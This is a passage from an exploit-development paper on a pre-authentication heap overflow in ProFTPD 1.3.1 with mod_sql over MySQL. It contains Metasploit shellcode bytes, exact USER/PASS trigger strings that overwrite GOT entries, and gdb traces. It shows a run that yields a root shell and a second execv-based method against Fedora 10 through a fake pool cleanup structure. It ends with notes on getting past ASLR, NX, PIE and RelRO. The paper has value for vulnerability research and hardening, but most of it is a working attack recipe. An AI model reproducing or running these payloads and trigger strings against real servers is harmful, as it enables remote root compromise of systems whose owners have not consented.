There are perhaps some other techniques that may be possible on certain configurations, such as inputting the shellcode via reverse DNS, or in the ident lookup text. While possible, it's not entirely needed at this point in time and wasn't explored further.

Talking about shellcode, we should look at what character restrictions have. Obviously, \x0d, \x0a, \x00 would be problematic since FTP is a text line based protocol. Reading further over the contrib/mod_sql_mysql.c code, we see that we have several other restrictions, as documented in [8], which gives us the following bad characters:

\x0d (\r), \x0a (\n), \x00, \x27 ('), \x22 ("), \x08 (\b), \x09 (\t) \x1b (\Z), \x5c (\\), \x5f (_), \x25 (%)

(That is, assuming we are exploiting ProFTPD getting auth information from MySQL. If it's getting information from Postgresql, then the bad character restrictions are probably different).

All in all, those restrictions aren't too bad, and some light experimentation implies it should be fine to use, as the following pastes show:

‑‑‑

msf payload(shell_find_tag) > generate ‑b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" ‑t c ‑o PrependSetresuid=true /*

* linux/x86/shell_find_tag ‑ 102 bytes

* http://www.metasploit.com

* Encoder: x86/fnstenv_mov

* AppendExit=false, PrependSetresuid=true, TAG=2pDv,

* PrependSetuid=false, PrependSetreuid=false

*/

unsigned char buf[] = "\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12\x87" "\xe9\xb7\x83\xeb\xfc\xe2\xf4\x23\x4e\xd8\x6c\xe5\x64\x59\x13" "\xdf\x07\xd8\x6c\x41\x0e\x0f\xdd\x52\x30\xe3\xe4\x44\xd4\x60" "\x56\x94\x7c\x8f\x48\x13\xed\x8f\xef\xdf\x07\x68\x89\x20\xf7" "\xad\xc1\x67\x77\xb6\x3e\xe9\xed\xeb\xee\x78\xb8\xb1\x7a\x92" "\xce\x90\x4f\x78\x8c\xb1\x2e\x40\xef\xc6\x98\x61\xef\x81\x98" "\x70\xee\x87\x3e\xf1\xd5\xba\x3e\xf3\x4a\x69\xb7";

...

msf payload(find_tag) > use payload/linux/x86/shell/find_tag msf payload(find_tag) > generate ‑b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" ‑t c ‑o PrependSetresuid=true /*

* linux/x86/shell/find_tag ‑ 74 bytes (stage 1)

* http://www.metasploit.com

* Encoder: x86/shikata_ga_nai

* AppendExit=false, PrependSetresuid=true, TAG=qvkV,

* PrependSetuid=false, PrependSetreuid=false

*/

unsigned char buf[] = "\x31\xc9\xbf\xd3\xde\x9e\x99\xdb\xc9\xd9\x74\x24\xf4\x5b\xb1" "\x0c\x83\xc3\x04\x31\x7b\x0f\x03\x7b\x0f\xe2\x26\xef\x57\xa8" "\x13\xe7\x8b\x7b\x07\xc5\xcc\x4d\x9c\x85\x45\x4b\x48\x6a\xe1" "\x9e\xdf\x3c\x5e\x16\x3e\x46\x9b\x4e\x3f\x46\x36\xe9\xe7\x84" "\x46\x74\x29\x66\x31\x1c\x03\xfd\x4d\xbd\x57\x50\x52\xa4";

/*

* linux/x86/shell/find_tag ‑ 36 bytes (stage 2)

* http://www.metasploit.com

*/

unsigned char buf[] = "\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b" "\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xcd\x80";

‑‑‑

We can note down that we require 74 bytes or so for the shellcode.

If character encoding is enabled in ProFTPD (via mod_lang), this may incur further restrictions in characters we can use, or alternatively require decoding our payload, so that when it's encoded, it is correct. If possible/suitable, that is :p

If the pointers we are after contain a bad character, we're in a little bit of trouble :|

‑‑‑‑‑‑[ 3.4.2 ‑ Data manipulation ]

There are plenty of global variables that can be modified in ProFTPD, that can/may be useful for data manipulation.

grep'ing the src/ directory for "authenticated" shows some interesting code:

‑‑‑

288 static void shutdown_exit(void *d1, void *d2, void *d3, void *d4) { 289 if (check_shutmsg(&shut, &deny, &disc, shutmsg, sizeof(shutmsg)) == 1) {

290 char *user;

291 time_t now;

292 char *msg;

293 const char *serveraddress;

294 config_rec *c = NULL;

295 unsigned char *authenticated = get_param_ptr(main_server‑>conf, 296 "authenticated", FALSE);

297

...

388 if (c‑>requires_auth && cmd_auth_chk && !cmd_auth_chk(cmd)) 389 return ‑1;

390

... (cmd_auth_chk being a .bss function pointer)

393 cmdargstr = make_arg_str(cmd‑>tmp_pool, cmd‑>argc, cmd‑>argv); 394

395 if (cmd_type == CMD) {

396

397 /* The client has successfully authenticated... */

398 if (session.user) {

399 char *args = strchr(cmdargstr, ' ');

400

401 pr_scoreboard_entry_update(session.pid,

402 PR_SCORE_CMD, "%s", cmd‑>argv[0], NULL, NULL); 403 pr_scoreboard_entry_update(session.pid,

404 PR_SCORE_CMD_ARG, "%s", args ?

405 pr_fs_decode_path(cmd‑>tmp_pool, (args+1)) : "", NULL,

NULL);

406

407 pr_proctitle_set("%s ‑ %s: %s", session.user, session.proc_prefix,

408 cmdargstr);

409

410 /* ...else the client has not yet authenticated */

411 } else {

412 pr_proctitle_set("%s:%d: %s", session.c‑>remote_addr ? 413 pr_netaddr_get_ipstr(session.c‑>remote_addr) : "?", 414 session.c‑>remote_port ? session.c‑>remote_port : 0, cmdargstr);

415 }

416 }

‑‑‑

in modules/mod_auth.c:

‑‑‑

59 /* auth_cmd_chk_cb() is hooked into the main server's auth_hook

function,

60 * so that we can deny all commands until authentication is complete. 61 */

62 static int auth_cmd_chk_cb(cmd_rec *cmd) {

63 unsigned char *authenticated = get_param_ptr(cmd‑>server‑>conf, 64 "authenticated", FALSE);

65

66 if (!authenticated || *authenticated == FALSE) {

67 pr_response_send(R_530, _("Please login with USER and PASS")); 68 return FALSE;

69 }

70

71 return TRUE;

72 }

73

‑‑‑

The authenticated configuration directive is set:

‑‑‑

1846 c = add_config_param_set(&cmd‑>server‑>conf, "authenticated", 1,

NULL);

1847 c‑>argv[0] = pcalloc(c‑>pool, sizeof(unsigned char)); 1848 *((unsigned char *) c‑>argv[0]) = TRUE;

‑‑‑

It seems a little complicated to call due to other code around it.. but it'd probably be possible to with a bit of effort and the stack wasn't randomized, or maybe some other approaches. That said, the author isn't going to spend much time looking at it. One last thought on the matter:

‑‑‑

192 /* By default, enable auth checking */

193 set_auth_check(auth_cmd_chk_cb);

‑‑‑

If authentication is bypassed, but setresuid() is not callable (via NX, or whatever), then there is a slight restriction of the user id it has by default:

# cat /proc/19840/status

Name: proftpd

State: T (tracing stop)

Tgid: 19840

Pid: 19840

PPid: 19830

TracerPid: 19846

Uid: 0 65534 0 65534

Gid: 65534 65534 65534 65534

FDSize: 32

Groups: 65534

...

CapInh: 0000000000000000

CapPrm: ffffffffffffffff

CapEff: 0000000000000000

CapBnd: ffffffffffffffff

UID/GID list in real, effective, saved, fsuid format. Without reverting privileges, it limits what we can do. That said, it allows for a lot of information leaking if the directory permissions aren't too strict / acl's aren't too strict.

‑‑[ 4 ‑ Writing an exploit ]

Before writing an exploit, we should quickly review what we have found out before:

‑ Variable substitution allows us expand past the allocated 4096 bytes ‑ %m/%r duplicates our input

‑ %a gives us our IP address

‑ %f gives us ‑

‑ %T gives us 0.0

‑ %Z gives us {UNKNOWN TAG}

‑ %l gives us UNKNOWN if ident checking is disabled (default).. we'll use it even though it's not ideal (ident could be enabled, and if the box where the exploit is ran from is running ident, it could affect the ProFTPD heap layout more.

%a isn't all that good for a remote exploit, as the byte count can differ (attacking from 1.2.3.4 vs 136.246.139.246. We'll try excluding that for now, although it's useful for consuming small chunks :|

In order to exploit this vulnerability, we can re‑use some of our existing code to find the input strings needed against new targets when we can replicate a target environment.

‑‑‑‑‑‑[ 4.1 ‑ Exploitation via arbitrary pointer return ]

So, let's see, what do we need to do?

‑ Find a suitable trigger string that allows us, say:

‑ 16 byte overwrite (since our offset is 12 for first_avail pointer) ‑ 74 bytes of shellcode. Should be plenty of space, and enough to do interesting things with.

‑ Find a suitable target. For the most part, the GOT seems a good target, though this may be reassessed later on.

‑ Ideally you'd want to use a libc function that will be used next. Due to the style of attack we're using, if it uses another libc function, we may overwrite it with crap (crap being stuff like table entries / names / our expanded string) :(

After some experimentation, I came up with the following input strings to trigger the vulnerability with a suitable call tree:

‑ USER %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m%mA%m%f%f%l%m%TA%m% m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%Z%l%m%fA%l%m%TA%ZA% f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z

‑ PASS invalid

‑ USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA% m%T%m%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3Aa4A

And we have a crash writing to 0x41346141 ;)

With that info in hand, we can start writing the exploit.. let's find a target to overwrite.. From glancing over the back traces, it looks like mysql_real_query() is a suitable target.

080e81a8 R_386_JUMP_SLOT mysql_real_query

Plugging that in, and we get:

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7c7a6b0 (LWP 12830)]

0x41414141 in ?? ()

(gdb) bt

#0 0x41414141 in ?? ()

#1 0x080c0ea1 in cmd_select (cmd=0x98ae7ec) at mod_sql_mysql.c:838

Well, that's good. Not entirely what I was expecting though. Looking at the backtrace, we see it's calling time(NULL), so let's see:

080e8218 R_386_JUMP_SLOT time

4187 int sql_log(int level, const char *fmt, ...) {

4188 char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'};

4189 time_t timestamp = time(NULL);

4190 struct tm *t = NULL;

4191 va_list msg;

So, it looks like time is a better target. Updating our exploit:

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7c7a6b0 (LWP 12923)]

0x72657375 in ?? ()

(gdb)

That looks better (>>> "72657375".decode('hex') ‑> 'resu')

(gdb) x/s 0x080e8218

0x80e8218 <_GLOBAL_OFFSET_TABLE_+548>: "userid, passwd, uid, gid, homedir, shell FROM ftpuser WHERE (userid='", 'A' <repeats 74 times>, "0.0‑0.0A{UNKNOWN TAG}", 'A' <repeats 36 times>...

Looking further

(gdb) call strlen(0x080e8218)

$1 = 4155

(gdb) x/s 0x080e8218+4155‑128

0x80e91d3 <scoreboard_file+2963>: "%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m%m%Z%T% m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3\030\202\016" (gdb) x/40x 0x080e8218+4155‑64

0x80e9213 <[...]_file+3027>: 0x256d2554 0x255a256d 0x256d2554 0x416c255a 0x80e9223 <[...]_file+3043>: 0x6c255425 0x54256c25 0x5a256625 0x66256d25 0x80e9233 <[...]_file+3059>: 0x54256625 0x5a256625 0x6d256c25 0x25415425 0x80e9243 <[...]_file+3075>: 0x3061416d 0x41316141 0x61413261 0x0e821833

Playing around further, we see that strlen() is called before that, so further experimentation reveals we want to overwrite:

080e819c R_386_JUMP_SLOT strlen

(Code for this can be found in [9])

And our offset is 0x080e819c‑358..

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7c7a6b0 (LWP 13357)]

0x41306141 in ?? ()

So, we've made it jump to another pattern in msf.. which we can replace with a pointer to our shellcode.. which will be:

(gdb) x/s 0x080e819c

0x80e819c <_GLOBAL_OFFSET_TABLE_+424>: "Aa0Aa1Aa2Aa36\200\016\b{UNKNOWN TAG}", 'A' <repeats 74 times>, "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f"...

(gdb) x/s 0x080e819c+29

0x80e81b9 <_GLOBAL_OFFSET_TABLE_+453>: 'A' <repeats 74 times>, "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1"...

To hit our A's.

We can now use a suitable stager findsock/execve shell... We'll use the one we found earlier with metasploit. Verifying that we can hit our shellcode, we see:

Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 0xb7c7a6b0 (LWP 13476)]

0x080e81ba in _GLOBAL_OFFSET_TABLE_ ()

So, now we get to validate the shellcode works as expected (code can be found in [10])

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7b666b0 (LWP 13648)]

0xbf86cad0 in ?? ()

(gdb) x/10i $eip

0xbf86cad0: mov %edi,%ebx

0xbf86cad2: push $0x2

0xbf86cad4: pop %ecx

0xbf86cad5: push $0x3f

0xbf86cad7: pop %eax

0xbf86cad8: int $0x80

0xbf86cada: dec %ecx

0xbf86cadb: jns 0xbf86cad5

0xbf86cadd: push $0xb

0xbf86cadf: pop %eax

Whoops. Not so much. The stager code works by reading from the socket to the stack, and jumping to the stack once complete. It seems that the kernel I'm using doesn't make the stack executable even if you setarch/personality it.

We could work around that short coming in metasploit by changing our shellcode to read() into a different buffer, or mmap() some suitable memory, or one of a hundred things. For now though, I'll cheat and install the generic kernel, and try to finish off this paper :)

Installing the ubuntu ‑generic kernel, we see (in gdb):

‑‑‑

[New process 4936]

Executing new program: /bin/dash

(no debugging symbols found)

warning: Cannot initialize thread debugging library: generic error warning: Cannot initialize thread debugging library: generic error (no debugging symbols found)

[New process 4936]

(no debugging symbols found)

‑‑‑

# python exploitsc.py 127.0.0.1

Banner is [220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1]]

331 Password required for %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m %mA%m%f%f%l%m%TA%m%m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA% Z%l%m%fA%l%m%TA%ZA%f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z

530 Login incorrect.

*** With luck, you should have a shell ***

id

uid=0(root) gid=65534(nogroup) groups=65534(nogroup)

uname ‑a

Linux ubuntu 2.6.27‑14‑generic #1 SMP Tue Aug 18 16:25:45 UTC 2009 i686 GNU/Linux

‑‑‑

Well, that demonstrates from source code to shellcode execution.. exploitation via the demonstrated avenue isn't ideal, but still pretty decent.

‑‑‑‑‑‑[ 4.1 ‑ Cleanup structure crash ]

While experimenting with the auth bypass idea with one of the 3d10e2a054d8124ab4de5b588c592830 crashes, I hit a pool cleanup structure, and decided to experiment further (with a overwrite of 44 bytes), and exploit it without any shellcode required.

For this section, we'll target Fedora 10, and the following packages:

fbf3dccc1a396cda2d8725b4503bfc16 proftpd‑1.3.1‑6.fc10.i386.rpm 938fd1a965d72ef44cd4106c750a0a2d proftpd‑mysql‑1.3.1‑6.fc10.i386.rpm

Firstly, we'll quickly review some of the protection measures enabled/available in Fedora 10.

‑ Exec‑shield

‑ Aims to prevent code execution via Code Selector limits, or via PAE. ‑ CS limits are not ideal.

‑ FORTIFY_SOURCE

‑ Instruments code during compiling and aims to prevent overflows via common library functions.

‑ PIE binaries

‑ Some binaries available in Fedora 10 are compiled as a position independant executable (PIE).

‑ Numerous binaries are compiled as ET_EXEC's, however, including ProFTPD.

‑ SELinux

‑ SELinux is a kernel feature that allows mandatory access control in the kernel. For what we're concerned about, it's aimed at restricting what can happen post exploitation. A frequent criticism of SELinux is that it does not protect the kernel against attack.

So, looking at the crash:

Program received signal SIGSEGV, Segmentation fault. destroy_pool (p=0x8731eac) at pool.c:415

415 if (p‑>parent‑>sub_pools == p)

(gdb) p *p

$1 = {first = 0x61413561, last = 0x37614136, cleanups = 0x41386141, sub_pools = 0x62413961, sub_next = 0x31624130, sub_prev = 0x0, parent = 0x62413362, free_first_avail = 0x8002927 <Address 0x8002927 out of bounds>, tag = 0x0}

Quick glance at the source code (from the proftpd‑1.3.2‑rc2 release, not the fedora release):

‑‑‑

410 void destroy_pool(pool *p) {

411 if (p == NULL)

412 return;

413

414 pr_alarms_block();

415

416 if (p‑>parent) {

417 if (p‑>parent‑>sub_pools == p)

418 p‑>parent‑>sub_pools = p‑>sub_next;

419

420 if (p‑>sub_prev)

421 p‑>sub_prev‑>sub_next = p‑>sub_next;

422

423 if (p‑>sub_next)

424 p‑>sub_next‑>sub_prev = p‑>sub_prev;

425 }

426 clear_pool(p);

427 free_blocks(p‑>first, p‑>tag);

428

429 pr_alarms_unblock();

430 }

‑‑‑

So, we can see that we overwrote p‑>parent, and thus entered the conditional on line 416. In order to effectively bypass that section, we need:

‑ p‑>parent to point to accessible memory (doesn't matter where, it's unlikely to point to p)

‑ p‑>sub_prev got nulled out earlier, so it doesn't matter.

‑ p‑>sub_next to point to writable memory.

‑ p‑>cleanups to point to some memory to be the cleanup structure.

The cleanup structure looks like:

‑‑‑

655 typedef struct cleanup {

656 void *data;

657 void (*plain_cleanup_cb)(void *);

658 void (*child_cleanup_cb)(void *);

659 struct cleanup *next;

660 } cleanup_t;

‑‑‑

‑‑‑

693 static void run_cleanups(cleanup_t *c) {

694 while (c) {

695 (*c‑>plain_cleanup_cb)(c‑>data);

696 c = c‑>next;

697 }

698 }

‑‑‑

The benefits of run_cleanups is that we could call a bunch of different pointers as needed.

So, all we need now is to meet our requirements earlier.. For reading/writing memory, the BSS is fine.

For the cleanup structure, we need something that is not randomized, and that we know the offset for. Luckily for us, ProFTPD formats its response into the resp_buf buffer, which is on the BSS.

(gdb) p resp_buf

$5 = "Login incorrect.\000 for %m%m%TA%ZA%f%l%fA%mAA%f%TA%f%f%l%l%m%lA%f%Z%m%m%TA%Z%ZA%T%Z%ZAAA%m%m%f%m%T% m%f%fA%T%T%Z%l%T%m%l%f%f%f%Z%Z%l%TA%l%l%f%mAA%Z%TAA%f%m%ZAA%l%Z%Z%m%Z%lA%f% m"...

And, it doesn't clear memory, leaving old data available for us to use as our structure location. Our first fake auth will have a bunch of AAAA / BBBB / CCCC we can use for replacing.

With those in mind, we can trigger the vulnerability, and see what's available to us:

Program received signal SIGSEGV, Segmentation fault.

0x0805c82d in run_cleanups (c=0x80ed933) at pool.c:730

730 (*c‑>plain_cleanup_cb)(c‑>data);

..

(gdb) x/10i $eip

0x805c82d <run_cleanups+16>: call *0x4(%ebx)

(gdb) x/4x $ebx

0x80ed933 <resp_buf+179>: 0x42424242 0x43434343 0x44444444 0x45454545

Hm, so we need a location in memory to jump to. We control the first argument to the function, which is useful. . Looking at the symbol table, we see some stuff of interest:

080e44f4 R_386_JUMP_SLOT __printf_chk

080e4574 R_386_JUMP_SLOT mempcpy

080e4578 R_386_JUMP_SLOT __memcpy_chk

080e4604 R_386_JUMP_SLOT dlsym

080e46a4 R_386_JUMP_SLOT execv

080e469c R_386_JUMP_SLOT memcpy

080e48d4 R_386_JUMP_SLOT mmap64

080e4800 R_386_JUMP_SLOT strcat

dlsym() might be useful if we can get the results and save it somewhere.

memcpy()/strcat()/memcpy()/etc could be useful for constructing a ret to libc style attack.

printf() could be used to leak memory contents. Can't use it for writing to memory due to FORTIFY_SOURCE.

mmap64() could be useful to map memory readable, writable and executable (assuming SELinux allows it, which is unlikely in recent releases).

execv() could be used to execute an arbitrary process (assuming not prevented by SELinux). execv() takes two parameters, program to execute, and argument list. The argument list must consist of valid pointers to readable memory, or the execve() (syscall) will fail.

Since execv() looks like least effort, we'll need to find a way to modify the stack so that the next argument is a pointer to something suitable (a pointer to NULL would be sufficient)

(gdb) x/4x $esp

0xbf977c60: 0x42424242 0x080ccbe2 0x080e8a40 0x08730578

(gdb) x/s 0x080ccbe2

0x80ccbe2: "getgroups"

Taking stock of what we have:

eax 0x42424242 1111638594

ecx 0x8734e10 141774352

edx 0x80eb040 135180352

ebx 0x80ed933 135190835

esp 0xbf977c60 0xbf977c60

ebp 0xbf977c78 0xbf977c78

esi 0x8731eac 141762220

edi 0x80f680c 135227404

We control eax, edx (edx is the fake pointer for sub_prev/sub_next stuff), we control ebx to an extent:

(gdb) x/7x $ebx

0x80ed933 <resp_buf+179>: 0x42424242 0x43434343 0x44444444 0x45454545 0x80ed943 <resp_buf+195>: 0x46464646 0x47474747 0x48484848

We control esi to an extent:

(gdb) x/s $esi

0x8731eac: "a5Aa6Aa73\331016\ba9Ab@\260\016\b"

So, with that in mind, we are looking for writes to stack at [esp], [esp+4], [esp+8] and [esp+0xc], and hopefully then a jump register.

We can assemble a bunch of instructions, and use msfelfscan to show potential hits:

ruby msfelfscan ‑r "\x89[\x44\x54]\x24[\x04\x08\x0c][^\xff\xe8]*\xff[\x53\x10\x50\xd0‑\xe0]" /usr/sbin/proftpd

[/usr/sbin/proftpd]

0x0805b10a 8944240c89d02b4308894424088b431089142489442404ff53 0x0805b81d 894424048b450c890424ffd2

0x0805cd62 8944240c8b4310894424088b4208894424048b4204890424ffd7 0x0805e158 8944240889742404c70424df7b0d08ffd7

0x08063ed8 8944240c8b431c894424088b4318894424048b4314890424ff53 0x080706cc 895424048b5508891424ff50

0x08070720 89442404a13cd80e088b5508891424ff50

0x08070754 89442404a144d80e088b5508891424ff50

0x08070787 89442404a140d80e088b5508891424ff50

0x08070a84 89542404ff50

0x08070acb 89442404a13cd80e08ff50

0x08070af3 89442404a144d80e08ff50

0x08070b5a 89442404a140d80e08ff50

0x08070cc2 89542404ff50

0x08070ce3 89442404a13cd80e08ff50

0x08070d0b 89442404a144d80e08ff50

0x08070d4a 89442404a140d80e08ff50

0x08072081 8944240ca184ec0e08890424ffd2

0x08072127 8944240c8b4604c744240462c20c0889442408a184ec0e08890424ffd2 0x080721da 8944240ca184ec0e08890424ffd2

0x0807222b 8944240c8b4604c74424046ac20c0889442408a184ec0e08890424ffd2 0x080722ac 89442408a184ec0e08890424ffd2

0x0807824b 894424088954240c8b460489342489442404ff53

0x080782f2 8954240c894424088b460489342489442404ff53

0x08078388 8944240c8b450c894424088b460489342489442404ff53 0x08078468 8944240c8b450c894424088b460489342489442404ff53 0x08078798 894424088b460489342489442404ff53

0x08078a4b 89442404ff53

0x08079b08 8944240889742404891c24ffd2

0x08079bf2 8944240c8b450c89442408ff53

0x08079c93 89442404ff53

0x08079d1c 89442404ff53

0x0807a16c 8944240c8b450c89442408ff53

0x0807a264 89442408ff53

0x0807a7e7 89442408ffd6

0x0807c7d3 89442404ff53

0x0807c85c 89442404ff53

0x0807cc9c 8944240c8b450c89442408ff53

0x0807e412 89542408894c2404893424ffd3

0x0807f209 89442404ffd7

0x0807f222 89442404ffd7

0x0807f262 89442404ffd7

After spending some time looking at the output, we find one that fits the bill, and is absolutely perfect.

(gdb) x/10i 0x08063ed8

0x8063ed8 <run_schedule+56>: mov %eax,0xc(%esp)

0x8063edc <run_schedule+60>: mov 0x1c(%ebx),%eax 0x8063edf <run_schedule+63>: mov %eax,0x8(%esp)

0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax 0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)

0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax 0x8063eed <run_schedule+77>: mov %eax,(%esp)

0x8063ef0 <run_schedule+80>: call *0xc(%ebx)

If we execute from 0x8063ee3, it does the job perfectly. It will load pointers from $ebx (which we can populate however we want), and stick them on the stack, then jump to an address we want. We will need a program to execute, and a pointer to NULL. We can craft the fakeauth attempt as:

...memory stuff...AAAABBBBCCCC.../bin/sh or /usr/bin/python (as it's important to have NULL termination, which will be provided).

Hardware assisted breakpoint 1 at 0x8063ee3: file support.c, line 132.

Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132 132 s‑>f(s‑>a1,s‑>a2,s‑>a3,s‑>a4);

Missing separate debuginfos, use: debuginfo‑install audit‑libs‑1.7.13‑1.fc10.i386 e2fsprogs‑libs‑1.41.4‑6.fc10.i386 keyutils‑libs‑1.2‑3.fc9.i386 krb5‑libs‑1.6.3‑18.fc10.i386 libattr‑2.4.43‑2.fc10.i386 libselinux‑2.0.78‑1.fc10.i386 mysql‑libs‑5.0.84‑1.fc10.i386 zlib‑1.2.3‑18.fc9.i386

(gdb) x/8i $eip

0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax 0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)

0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax 0x8063eed <run_schedule+77>: mov %eax,(%esp)

0x8063ef0 <run_schedule+80>: call *0xc(%ebx)

(gdb) x/x $ebx+0x18

0x80ed94b <resp_buf+203>: 0x48484848

(gdb) x/x $ebx+0x14

0x80ed947 <resp_buf+199>: 0x47474747

(gdb) x/x $ebx+0xc

0x80ed93f <resp_buf+191>: 0x45454545

We can replace HHHH with resp_buf + 400 to point to NULL, we can put in our offset for the program to execute in GGGG, and our execv code at EEEE, which will be:

080526b8 <execv@plt>:

80526b8: ff 25 a4 46 0e 08 jmp *0x80e46a4 80526be: 68 00 05 00 00 push $0x500

80526c3: e9 e0 f5 ff ff jmp 8051ca8 <_init+0x30>

Putting those together, we then see:

Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132 132 s‑>f(s‑>a1,s‑>a2,s‑>a3,s‑>a4);

(gdb) c

Continuing.

[New process 22952]

Executing new program: /bin/bash

warning: Cannot initialize thread debugging library: generic error

Due to alarm() being called in ProFTPD, you'll have to reset it / catch it / block it (the "trap" command in bash should be able to do this for you), otherwise the connection will drop out some time later on.

If PIE was enabled, and the binary ended up past 0x01000000, we could brute force it and still gain code execution. The only problem now to deal with is with SELinux restrictions. Any decent kernel exploit will disable that for you ;)

‑‑‑‑‑‑[ 4.2 ‑ Potential enhancements ]

There are a variety of enhancements that could be done to make the exploit better in a variety of ways, such as a known target lists, bruteforce ability (both offset and tags, if necessary. Timing attacks may be useful), porting it to metasploit so you have the advantage of changing shellcodes, etc.

Also, more work would be required against distributions, because if ProFTPD is compiled with shared library support, using time() as an offset may change ;) Additionally, it may be possible that some distributions require different ways due to charcter restrictions.

Further research would be needed in common ProFTPD w/ mod_sql.c configuration guides in order to see what table names / fields are used.

Further experimentation with the pool implementation in ProFTPD might be in order, as perhaps it would be possible to work out a generic fake/trigger string that would work in all cases.

Since the SQL injection fix, the bug is no longer remote root pre auth via USER handling it has lost a lot of it's sexiness <;‑P~ Don't know if the bug is reachable through authentication.. if it is, there's a lot more work involved due to dropped privileges, potential chroot()ing, and so on. At least RootRevoke isn't enabled by default according to some random documentation I was reading :p

‑‑‑‑‑‑[ 4.3 ‑ Last thoughts ]

Initial experimentation of the vulnerability with constraint solvers was interesting, however, in hindsight, just replicating the constraint checks and random generation would of been a better idea. Same goes for using GA to mutate input strings, though the GA use was worse because the metrics used was pretty bad. In hindsight, I had a solution looking for a problem.

Additionally, [11] has some more information regarding this vulnerability when you consider the timing aspect of heap massages.

‑‑[ 5 ‑ Discussion of hardening techniques against exploitation ]

It's always fun to consider the effects of various hardening techniques against exploitation, and if it helps mitigate the issue. Here's some thoughts on the matter.

‑‑‑‑‑‑[ 5.1 ‑ Address Space Layout Randomisation ]

If the binary is not compiled as a position independent executable (PIE) binary, ASLR is not much of a problem as we target the GOT for storing the shellcode. We require only one offset, and on non‑PIE binaries, we should be in luck.

‑‑‑‑‑‑[ 5.2 ‑ Non‑executable Memory ]

With kernels using PAE and hardware supported NX‑bit will break our shellcode approach, however, it will not affect our approach used in "Cleanup structure crash".

With kernels that use CS limit to approximate non executable memory, it may be possible that a higher region of memory is marked executable, and thus our shellcode region is executable. The metasploit stager shellcode reads onto the stack and jumps to it, so cs limit approximation would block that attempt. A suitable mprotect() call could fix it though.

It may be possible use the overflow to make ProFTPD think we have been authenticated, without requiring any shellcode. Assuming the pool memory layout is not irreparably harmed, we may be able to do some interesting things.

‑‑‑‑‑‑[ 5.3 ‑ Position Independent Executable Binaries ]

In case of PIE, it would be feasible to brute force the randomisation as ProFTPD fork()s for each client connection. In order to make the most of ASLR, ProFTPD would have to fork+execve() itself, or be configured to use xinetd/inetd (which would probably be a significant performance problem on busy sites). Using fork+execve() would be the best approach as it would require least changes by the user except an update to ProFTPD.

The avenue we are using for exploitation does not lend itself to off‑by‑X overwrites, as our contents is appended by ')\x00, which restricts the characters we can use dramatically.

As for information leaks, I have seen heap address info leaks when the server replies with "Password needed for <OUR CONTENT><MANGLED HEAP ADDRESS>". This may be useful at some stage if a different avenue is needed for exploitation.

Unfortunately, ProFTPD frequently uses pcalloc() which reduces the potential for info leaks in some other cases.

‑‑‑‑‑‑[ 5.4 ‑ Stack Protector ]

SSP does not play much of a part as we are not overwriting the stack, and nor are we abusing a libc function to overwrite contents (due to recent instrumentation added to gcc/glibc/so on). So far, targeting the stack seems irrelevant, and due to ASLR being in modern kernels, not that useful.

‑‑‑‑‑‑[ 5.5 ‑ RelRO ]

If readonly relocations is enabled on the target binary, (and being enforced/enabled properly) it will break our current avenue of overwriting the GOT table to gain control of execution.

However, it may be possible to target .bss heap pointers in ProFTPD that get called. (objdump ‑tr /usr/local/sbin/proftpd | grep bss | grep 0004 or so should find potential function pointers :p)

Assuming non‑executable memory is not in use, the BSS provides a suitable location to store our shellcode, due to the proctitle.c code.

‑‑[ 6 ‑ References

[1] http://www.proftpd.org

[2] http://labix.org/python‑constraint

[3] http://bitbucket.org/haypo/python‑ptrace/

[4] http://pyevolve.sourceforge.net/

[5] http://www.castaglia.org/proftpd/doc/devel‑guide/introduction.html

[6] http://www.phreedom.org/solar/exploits/proftpd‑ascii/

